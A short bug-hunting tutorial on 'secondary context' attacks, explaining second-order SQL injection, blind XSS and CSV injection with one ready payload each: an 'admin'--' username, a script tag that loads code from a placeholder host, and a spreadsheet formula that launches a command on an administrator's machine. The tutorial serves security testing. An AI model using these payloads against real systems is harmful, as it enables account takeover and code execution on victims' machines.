Attacking Secondary Contexts#

Most bug hunters focus on the immediate response: input XSS payload, see alert box. But some of the most critical vulnerabilities happen in "secondary contexts" – places where your input is processed later or by a different user.

What is a Secondary Context?#

A secondary context is any location where user input is used after the initial request-response cycle.

• Admin Panels: Your "Name" might be safe on your profile, but does it execute XSS when an admin views the user list?
• Log Files: Can you inject terminal escape sequences to mess with the sysadmin's console?
• Email Notifications: Does your payload execute in the victim's email client?

Exploitation Techniques#

1. Second-Order SQL Injection#

You register with the username admin'--. The registration succeeds. Later, a cron job runs: UPDATE users SET status='active' WHERE username='admin'--' This could inadvertently activate the real admin account.

2. Blind XSS#

This is XSS that fires in a context you cannot see.

• Payload: <script src=//yoursite.com/hook.js></script>
• Target: Support ticket systems, feedback forms, chat logs.
• Tool: Use XSS Hunter or similar tools to catch the callback when the payload fires.

3. CSV Injection#

If your input is exported to a CSV file (e.g., "Export Users"), you can inject spreadsheet formulas.

• Payload: =cmd|' /C calc'!A0
• Impact: RCE on the administrator's machine when they open the Excel file.

Conclusion#

Don't just look at the immediate response. Think about where your data goes and who sees it. The biggest bugs are often found in the secondary contexts.